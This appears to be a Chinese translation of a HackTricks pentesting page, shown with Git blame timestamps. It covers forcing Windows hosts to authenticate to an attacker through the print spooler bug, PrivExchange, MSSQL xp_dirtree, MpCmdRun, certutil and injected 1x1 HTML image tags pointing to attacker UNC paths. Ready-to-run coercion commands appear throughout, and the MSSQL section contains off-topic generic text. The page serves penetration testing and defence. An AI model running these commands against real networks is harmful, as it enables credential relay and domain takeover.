hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

144 lines
9.6 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# 强制使用NTLM特权身份验证
2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
</details>
2022-08-14 20:43:58 +00:00
## SharpSystemTriggers
2023-08-03 19:12:22 +00:00
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers)是一个使用MIDL编译器编写的C#代码的**远程身份验证触发器集合**,用于避免第三方依赖。
2022-08-14 20:43:58 +00:00
2023-08-03 19:12:22 +00:00
## Spooler服务滥用
2023-08-03 19:12:22 +00:00
如果启用了_**打印池**_服务您可以使用一些已知的AD凭据向域控制器的打印服务器**请求**更新新的打印作业,并告诉它**将通知发送到某个系统**。\
请注意,当打印机向任意系统发送通知时,它需要对该系统进行**身份验证**。因此攻击者可以使_**打印池**_服务对任意系统进行身份验证并且该服务将在此身份验证中使用计算机帐户。
2023-08-03 19:12:22 +00:00
### 在域上查找Windows服务器
使用PowerShell获取Windows服务器列表。通常情况下服务器是优先级较高的所以我们将重点关注这些服务器
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
2023-08-03 19:12:22 +00:00
### 寻找正在监听的打印池服务
2023-08-03 19:12:22 +00:00
使用稍作修改的 @mysmartloginVincent Le Toux的 [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket),查看打印池服务是否正在监听:
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```
2023-08-03 19:12:22 +00:00
您还可以在Linux上使用rpcdump.py并查找MS-RPRN协议。
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
2023-08-03 19:12:22 +00:00
### 请求服务对任意主机进行身份验证
您可以从[这里](https://github.com/NotMedic/NetNTLMtoSilverTicket)编译**SpoolSample**。
```bash
SpoolSample.exe <TARGET> <RESPONDERIP>
```
2023-08-03 19:12:22 +00:00
或者在Linux上使用[**3xocyte的dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket)或[**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)。
```bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
2023-08-03 19:12:22 +00:00
### 结合无限制委派
2023-08-03 19:12:22 +00:00
如果攻击者已经入侵了具有[无限制委派](unconstrained-delegation.md)的计算机,攻击者可以**使打印机对该计算机进行身份验证**。由于存在无限制委派,**打印机的计算机帐户的TGT将保存在**具有无限制委派的计算机的**内存**中。由于攻击者已经入侵了该主机,他将能够**检索此票证**并滥用它([传递票证](pass-the-ticket.md))。
2020-12-22 23:57:32 +00:00
2023-08-03 19:12:22 +00:00
## RCP强制身份验证
2022-07-11 08:44:04 +00:00
{% embed url="https://github.com/p0dalirius/Coercer" %}
2022-10-05 22:52:18 +00:00
## PrivExchange
`PrivExchange`攻击是由于Exchange Server的`PushSubscription`功能中的一个缺陷导致的,该功能允许**任何具有邮箱的域用户强制Exchange服务器对客户端提供的任何主机进行身份验证**。
2022-10-05 22:52:18 +00:00
Exchange服务以**SYSTEM**身份运行,并且默认情况下**权限过高**在2019年累积更新之前具有对域的WriteDacl权限。可以利用此缺陷来**中继到LDAP并转储域NTDS数据库**。如果无法中继到LDAP则可以利用此缺陷中继和对域内的**其他主机进行身份验证**。此攻击将使您可以使用任何经过身份验证的域用户帐户直接访问域管理员。
2022-10-05 22:52:18 +00:00
2023-08-03 19:12:22 +00:00
****[**此技术的来源在此。**](https://academy.hackthebox.com/module/143/section/1276)****
2022-10-05 22:52:18 +00:00
2023-08-03 19:12:22 +00:00
## 在Windows内部
2020-12-22 23:57:32 +00:00
如果您已经在Windows机器内部可以使用特权帐户强制Windows连接到服务器方法如下
2022-07-11 08:44:04 +00:00
### Defender MpCmdRun
2020-12-22 23:57:32 +00:00
```bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
```
2022-08-15 13:00:19 +00:00
### MSSQL
MSSQLMicrosoft SQL Server是一种关系型数据库管理系统常用于存储和管理大量数据。它是由微软开发的广泛应用于企业和组织的数据管理中。
2022-08-14 20:36:09 +00:00
MSSQL具有强大的功能和安全性但在配置不当的情况下可能会存在安全漏洞。黑客可以利用这些漏洞来获取未经授权的访问权限并对数据库进行恶意操作。
2022-08-14 20:36:09 +00:00
以下是一些常见的MSSQL攻击技术
2022-08-14 20:36:09 +00:00
1. **SQL注入攻击**黑客通过在应用程序的输入字段中插入恶意SQL代码来执行未经授权的数据库操作。这可以导致数据泄露、数据篡改或拒绝服务攻击。
2022-08-14 20:36:09 +00:00
2. **弱密码攻击**黑客使用暴力破解或字典攻击等方法尝试猜解MSSQL数据库的管理员密码。如果管理员使用弱密码黑客可以轻松获取对数据库的完全控制权。
2022-08-14 20:36:09 +00:00
3. **未经授权的访问**黑客可以通过利用MSSQL服务器上的安全漏洞绕过身份验证机制获取对数据库的未经授权访问权限。这可能导致数据泄露、数据篡改或拒绝服务攻击。
2022-08-14 20:36:09 +00:00
为了保护MSSQL数据库免受攻击以下是一些建议的安全措施
2022-08-14 20:36:09 +00:00
1. **更新和修补**定期更新和修补MSSQL服务器以确保安装了最新的安全补丁和修复程序。
2. **强密码策略**:使用强密码,并定期更改密码。避免使用常见的密码,如生日、姓名或简单的数字序列。
2022-04-28 16:01:33 +00:00
3. **访问控制**限制对MSSQL服务器的访问权限并仅授权给需要访问数据库的用户。
2022-04-28 16:01:33 +00:00
4. **安全审计**启用MSSQL服务器的安全审计功能以便监控和记录对数据库的访问和操作。
2022-04-28 16:01:33 +00:00
5. **网络安全**使用防火墙和入侵检测系统来保护MSSQL服务器免受网络攻击。
2022-04-28 16:01:33 +00:00
通过采取这些安全措施可以大大减少MSSQL数据库受到攻击的风险并保护组织的数据安全。
2023-08-03 19:12:22 +00:00
```sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
```
或者使用另一种技术:[https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
### Certutil
可以使用certutil.exeMicrosoft签名的二进制文件来强制执行NTLM身份验证
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
2023-08-03 19:12:22 +00:00
## HTML注入
### 通过电子邮件
如果你知道你想入侵的机器上登录用户的**电子邮件地址**你可以发送一封带有一个1x1像素的**图片的电子邮件**,例如:
2023-08-03 19:12:22 +00:00
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
### MitM
如果你能对一台计算机进行中间人攻击并在他可视化的页面中注入HTML你可以尝试在页面中注入如下图像
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## 破解NTLMv1
如果你能够捕获到[NTLMv1的挑战请阅读这里如何破解它们](../ntlm/#ntlmv1-attack)。\
_请记住为了破解NTLMv1你需要将Responder的挑战设置为"1122334455667788"_。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks的衍生品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>